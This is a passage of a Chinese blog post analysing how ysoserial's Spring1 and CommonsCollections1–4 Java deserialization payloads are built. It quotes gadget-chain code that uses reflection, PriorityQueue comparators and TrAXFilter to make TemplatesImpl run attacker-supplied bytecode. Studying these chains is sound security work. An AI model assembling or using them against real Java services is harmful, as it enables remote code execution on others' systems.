    <pre class="java;">#!java        typeTemplatesProxy对象.invoke()     method.invoke(objectFactoryProxy对象.getObject(), args);        objectFactoryProxy对象.getObject()            AnnotationInvocationHandler.invoke()                HashMap.get("getObject")//返回templates对象        Method.invoke(templates对象,args)        TemplatesImpl.newTransformer()        .......//触发加载含有恶意java字节码的操作</pre>
    <p>这里面是对象之间的调用,还有动态代理机制,容易绕晕,就说到这里。有兴趣可以单步调试看看。</p>
    <p>个人总结:</p>
    Spring1为了强行代理Type接口,进行对象赋值。运用了多个动态代理机制实现,还是很巧妙的。 5. CommonsCollections
    <p>对CommonsCollections类,ysoserial工具中存在四种利用方法。所用的方法都是与上面几个payload类似。</p>
    CommonsCollections1自然是使用了LazyMap和动态代理机制进行触发调用Transformer执行链,请参考链接2。
    <p>CommonsCollections2和CommonsBeanutilsCollectionsLogging1一样也使用了比较器去触发TemplatesImpl的newTransformer方法执行命令。<br>
    这里用到的比较器为TransformingComparator,直接看其compare方法:</p>
    <pre class="java;">#!javapublic int compare(final I obj1, final I obj2) {    final O value1 = this.transformer.transform(obj1);    final O value2 = this.transformer.transform(obj2);    return this.decorated.compare(value1, value2);}</pre>
    <p>很直接调用了transformer.transform(obj1),这里的obj1就是payload中的templates对象。<br>
    主要代码为:</p>
    <pre class="java;">#!java// mock method name until armedfinal InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);// create queue with numbers and basic comparatorfinal PriorityQueue<object> queue = new PriorityQueue<object>(2,new TransformingComparator(transformer));     .........// switch method called by comparatorReflections.setFieldValue(transformer, "iMethodName", "newTransformer");//使用反射机制改变私有变量~ 不然,会在之前就执行命令,无法生成序列化数据。//反序列化时,会调用TemplatesImpl的newTransformer方法。</object></object></pre>
    <p>根据熟悉的InvokerTransformer作用,最终会调用templates.newTransformer()执行恶意java代码。</p>
    <p>CommonsCollections3是CommonsCollections1的变种,将执行链换了下:</p>
    <pre class="java;">#!javaTemplatesImpl templatesImpl = Gadgets.createTemplatesImpl(command);.............// real chain for after setupfinal Transformer[] transformers = new Transformer[] {        new ConstantTransformer(TrAXFilter.class),        new InstantiateTransformer(                new Class[] { Templates.class },                new Object[] { templatesImpl } )};  </pre>
    <p>查看InstantiateTransformer的transform方法,可以看到关键代码:</p>
    <pre class="java;">#!javaConstructor con = ((Class) input).getConstructor(iParamTypes);  //input为TrAXFilter.classreturn con.newInstance(iArgs);</pre>
    <p>即:transformer执行链会执行new TrAXFilter(templatesImpl)。正好,TrAXFilter类构造函数中调用了templates.newTransformer()方法。都是套路啊。</p>
    <pre class="java;">#!javapublic TrAXFilter(Templates templates)  throws TransformerConfigurationException{    _templates = templates;    _transformer = (TransformerImpl) templates.newTransformer();//触发执行命令    _transformerHandler = new TransformerHandlerImpl(_transformer);    _useServicesMechanism = _transformer.useServicesMechnism();}</pre>
    <p>CommonsCollections4是CommonsCollections2的变种。同样使用InstantiateTransformer触发templates.newTransformer()代替了之前的执行链。</p>
    <pre class="java;">#!javaTemplatesImpl templates = Gadgets.createTemplatesImpl(command);...............// grab defensively copied arraysparamTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");..............// swap in values to armReflections.setFieldValue(constant, "iConstant", TrAXFilter.class);paramTypes[0] = Templates.class;args[0] = templates;...................</pre>
    <p>照例生成PriorityQueue<object>queue后,使用反射机制对其属性进行修改。保证成功生成payload。</object></p>
    <p>个人总结:payload分析完了,里面涉及的方法很巧妙。也有许多共同的利用特性,值得学习~~</p>
    </string,></k,v></size;>
  • 相关阅读:
    ASP.NET Web API 框架研究 Self Host模式下的消息处理管道
    ASP.NET Web API 框架研究 Web Host模式下的消息处理管道
    ASP.NET Web API 框架研究 核心的消息处理管道
    ASP.NET Web API 框架研究 Web Host模式路由及将请求转出到消息处理管道
    ASP.NET Web API 框架研究 ASP.NET Web API 路由
    ASP.NET Web API 框架研究 ASP.NET 路由
    ASP.NET Web API 入门 (API接口、寄宿方式、HttpClient调用)
    MVVM模式
    RESTful Web API 理解
    C# 函数式编程及Monads.net库
  • 原文地址:https://www.cnblogs.com/Fluorescence-tjy/p/5863183.html
Copyright © 2011-2022 走看看